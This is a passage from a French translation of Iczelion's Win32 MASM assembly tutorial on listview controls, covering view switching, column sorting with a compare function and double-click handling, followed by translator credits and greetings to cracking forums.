    invoke MoveWindow,hList, 0, 0, eax,edx,TRUE

Quand la fenêtre parente reçoit le message WM_SIZE, le mot de poids faible de lParam contient la nouvelle largeur du secteur client et le mot de poids fort la nouvelle hauteur. Ensuite on appelle MoveWindow pour redimensionner le listview control pour qu'il recouvre le secteur client de la fenêtre parente, en entier.

Lorsque l'utilisateur sélectionne une des vue dans le menu. On doit faire en sorte de changer la vue du listview control en conséquence. On fait ça en mettant un nouveau style dans le listview control avec SetWindowLong.

  .elseif uMsg==WM_COMMAND
    .if lParam==0
      invoke GetWindowLong,hList,GWL_STYLE
      and eax,not LVS_TYPEMASK

La première chose à faire, c'est obtenir les styles actuels du listview control. Donc on purifie le vieux type de vue renvoyé dans les flags. LVS_TYPEMASK est une constante qui représente la valeur combinée des 4 types de vue (LVS_ICON+LVS_SMALLICON+LVS_LIST+LVS_REPORT). Ainsi quand on exécute l'opération and sur les types actuels de flags avec la valeur "not LVS_TYPEMASK", ça équivaut à nettoyer le type de vue actuel.

Dans la conception du menu, je triche un peu. J'emploie le type de vue des constantes en tant qu'IDs du menu.

IDM_ICON equ LVS_ICON
IDM_SMALLICON equ LVS_SMALLICON
IDM_LIST equ LVS_LIST
IDM_REPORT equ LVS_REPORT

Ainsi quand la fenêtre parente reçoit le message WM_COMMAND, le type de vue voulu est dans le mot de poids faible de wParam pour représenter l'ID du menu.

      mov edx,wParam
      and edx,0FFFFh

On retrouvera le type de vue souhaité dans le mot de poids faible de wParam. Tout ce que nous devons faire c'est de mettre le mot de poids fort à 0 (je parle de wParam).

      push edx
      or eax,edx

Et ajoutez le type de vue désiré aux styles déjà existants (moins le style de vue actuel) du listview control.

      invoke SetWindowLong,hList,GWL_STYLE,eax

Et mettez les nouveaux types avec SetWindowLong.

      pop edx
      invoke CheckMenuRadioItem,hMenu,IDM_ICON,IDM_LIST, edx,MF_CHECKED
   .endif

Nous avons aussi besoin de mettre le bouton radio devant l'item choisi dans notre menu. Ainsi on appelle CheckMenuRadioItem, en lui passant le type de vue actuel (en double, en tant qu'ID du menu).

Lorsque l'utilisateur clique sur l'en-tête de la colonne dans la vue 'détails', on fait en sorte de déclencher le comportement de triage des Items dans notre listview control. Nous devons répondre au message WM_NOTIFY.

  .elseif uMsg==WM_NOTIFY
    push edi
    mov edi,lParam
    assume edi:ptr NMHDR
    mov eax,[edi].hwndFrom
    .if eax==hList

Quand on reçoit le message WM_NOTIFY, lParam contient le pointer qui est sur la structure NMHDR. On peut vérifier si ce message provient de notre listview control en comparant le membre hwndFrom dans NMHDR à l'handle de notre listview control. S'ils correspondent, alors on est sûr que cet avis provient bien de notre listview control.

      .if [edi].code==LVN_COLUMNCLICK
        assume edi:ptr NM_LISTVIEW

S'il provient bien du listview control, on vérifie si le code est LVN_COLUMNCLICK. Et si c'est ça, ça signifie que l'utilisateur a cliqué sur l'en-tête de la colonne. Dans le cas où le code serait LVN_COLUMNCLICK, on est sûr que lParam contient le pointer qui est sur la structure NM_LISTVIEW laquelle est un 'superset' de la structure NMHDR. On aura alors besoin de savoir sur lequel des en-tête de colonne, l'utilisateur à cliqué. L'examen du membre iSubItem nous révèle ces renseignements. La valeur dans iSubItem peut être considérée comme le numéro de colonne, en commençant par 0 pour la première colonne.

        .if [edi].iSubItem==1
          .if SizeSortOrder==0 || SizeSortOrder==2

Dans le cas où iSubItem est égal à 1, ça signifie que l'utilisateur à cliqué sur la deuxième colonne, (la taille). On utilise des variables d'état pour récupérer le statut actuel de l'ordre de triage. 0 signifie "Pas encore trié", 1 signifie qu'"on tri l'item en le faisant monté d'une place dans la hiérarchie", 2 signifie qu'"on tri l'item en le faisant descendre dans la hiérarchie" des items. Si les Items ou sous-items de la colonne n'ont pas été trié auparavant, ou on été trié en ayant perdu des places, on impose un tri pour les remonter.

            invoke SendMessage,hList,LVM_SORTITEMS,1,addr CompareFunc

On envoie le message LVM_SORTITEMS à notre listview control, en lui passant 1 dans wParam et l'adresse de notre fonction de tri dans lParam. Remarquez que la valeur dans wParam est définie par l'utilisateur, vous pouvez l'employer de la façon que vous le souhaitez. Je l'emploie en tant que méthode de triage dans cet exemple. Bon, on va d'abord jeter un coup d'oeil à la fonction de tri.

CompareFunc proc uses edi lParam1:DWORD, lParam2:DWORD, SortType:DWORD
  LOCAL buffer[256]:BYTE
  LOCAL buffer1[256]:BYTE
  LOCAL lvi:LV_ITEM

  mov lvi.imask,LVIF_TEXT
  lea eax,buffer
  mov lvi.pszText,eax
  mov lvi.cchTextMax,256

Dans la fonction de tri, le listview control passera les lParams (provenant de LV_item) de deux Items dont il a besoin de comparer pour les triés l'un par rapport à l'autre, soit lParam1 et lParam2. Vous vous rappellerez qu'on a mis l'index des l'items dans lParam. Ainsi on peut récupérer l'information des Items en interrogeant le listview control en employant ces index. Les renseignements dont nous avons besoin sont les labels (leurs noms) des Items / sous-items étant triés. Ainsi on prépare la structure LV_ITEM dans ce but, en déclarant LVIF_TEXT dans imask et l'adresse du buffer dans pszText et la taille du buffer dans cchTextMax.

  .if SortType==1
    mov lvi.iSubItem,1
    invoke SendMessage,hList,LVM_GETITEMTEXT,lParam1,addr lvi

Si la valeur dans SortType est 1 ou 2, on sait que la colonne (de taille) a été cliquée. 1 signifie que les Items ont été triés selon leurs tailles dans un ordre montant. 2 signifie le contraire. Ainsi, on impose iSubItem à 1 (pour spécifier la colonne de taille) et on envoie le message LVM_GETITEMTEXT à notre listview control pour obtenir le label (le nom) de la chaîne de caractères (de taille) du sous-item.

    invoke String2Dword,addr buffer
    mov edi,eax

On cache plus ou moins la taille de la chaîne de caractères dans une valeur Dword avec la fonction String2Dword que j'ai écrite. Elle renvoie cette valeur Dword dans eax. Et en plus on la stocke dans edi pour la trier par la suite.

    invoke SendMessage,hList,LVM_GETITEMTEXT,lParam2,addr lvi
    invoke String2Dword,addr buffer
    sub edi,eax
    mov eax,edi

Faites de même avec la valeur dans lParam2. Quand nous avons les tailles des deux fichiers, nous pouvons alors les comparer.
La règle de la fonction de tri est définie ainsi :

  • Si le premier item doit être placé avant l'autre, vous devez renvoyer une valeur négative dans eax
  • Si le premier item doit être placé après le second, vous devez renvoyer une valeur positive dans eax
  • Si les deux Items sont égaux, on renvoie un zéro dans eax.

Dans ce cas, on souhaite trier les Items selon leurs critères de tailles par ordre croissant. Donc on peut utiliser la ruse d'une simple soustraction des tailles des deux items et renvoyer le résultat dans eax.

  .elseif SortType==3
    mov lvi.iSubItem,0
    invoke SendMessage,hList,LVM_GETITEMTEXT,lParam1,addr lvi
    invoke lstrcpy,addr buffer1,addr buffer
    invoke SendMessage,hList,LVM_GETITEMTEXT,lParam2,addr lvi
    invoke lstrcmpi,addr buffer1,addr buffer

Dans le cas où l'utilisateur clique sur la colonne 'de nom de fichier', nous devons forcément comparer les noms des fichiers. Il nous faut d'abord récupérer les noms de fichier et on les compare ensuite avec la fonction 'lstrcmpi'. On peut renvoyé la valeur de retour de lstrcmpi sans aucune modification puisqu'elle emploie aussi la même règle de tri. C'est à dire qu'on aura une valeur négative dans eax si la première chaîne de caractères est moindre (B

Une fois que les Items ont été triés, nous avons besoin de remettre à jour les valeurs de lParam de chaques Items pour refléter les nouveaux index en appelant la fonction UpdatelParam.

            invoke UpdatelParam
            mov SizeSortOrder,1

Cette fonction énumère simplement tout les Items du listview control et met à jour les valeurs dans lParam avec les nouveaux index. On doit absolument faire ça sinon le tri suivant ne marchera pas comme attendu, parce qu'on suppose que la valeur dans lParam est l'index de l'item.

      .elseif [edi].code==NM_DBLCLK
        invoke ShowCurrentFocus
      .endif

Quand l'utilisateur double clique sur l'item, on souhaite que son nom s'affiche dans une boîte de message. On doit donc vérifier si le code dans NMHDR est NM_DBLCLK. Si c'est ça, on peut continuer pour récupérer son nom et le montrer dans la MessageBox.

ShowCurrentFocus proc
   LOCAL lvi:LV_ITEM
   LOCAL buffer[256]:BYTE

   invoke SendMessage,hList,LVM_GETNEXTITEM,-1, LVNI_FOCUSED

Comment savons-nous quel item vient d'être double cliqué ? Et bien, lorsque un item est cliqué ou double cliqué, son état est remis à "jour". Même si beaucoup d'Items sont (hilited) sélectionnés avec un encadré pointillé, uniquement un d'entre eux a le centre (est réellement sélectionné). Notre travail, c'est de retrouver l'item qui a le centre. Nous faisons ça en envoyant le message LVM_GETNEXTITEM à notre listview control, en spécifiant l'état désiré dans lParam. -1 dans wParam signifie qu'on recherche tous les Items. L'index de l'item est renvoyé dans eax.

   mov lvi.iItem,eax
   mov lvi.iSubItem,0
   mov lvi.imask,LVIF_TEXT
   lea eax,buffer
   mov lvi.pszText,eax
   mov lvi.cchTextMax,256
   invoke SendMessage,hList,LVM_GETITEM,0,addr lvi

On continue alors pour récupérer son titre (son nom) en envoyant le message LVM_GETITEM au listview control.

   invoke MessageBox,0, addr buffer,addr AppName,MB_OK

Finalement, nous affichons le nom du fichier dans une MessageBox.

Si vous souhaitez savoir comment utiliser des icônes dans votre listview control, vous pouvez lire ça dans mon tutorial sur le treeview (Tutorial 19). Les étapes sont à peu près les mêmes.

[Iczelion's Win32 Assembly Homepage]

Traduit par Morgatte


Remerciements

à

Morgatte

pour la traduction des tutoriaux sur

l'ASM avec MASM32

de

Iczelion

Salutations

à toutes les Teams :

FFF,Arteam,SnD,

etc...

Salutations

à tous les Forums :

l'ordre ne veut rien dire!

xtx,

ForumCrack,

DeezDynasty,

tut4you,

SnD

Arteam

et tous leurs membres.

Ce fichier chm est une compilation de tutoriaux pour apprendre l'ASM avec MASM en (Fr)

Salutations à

Goldocrack ,

Burner,

Mars,

X-Trem,

Dynasty,

DcSpirou,

@++

SPOKE3FFF

http://xtx.free.fr/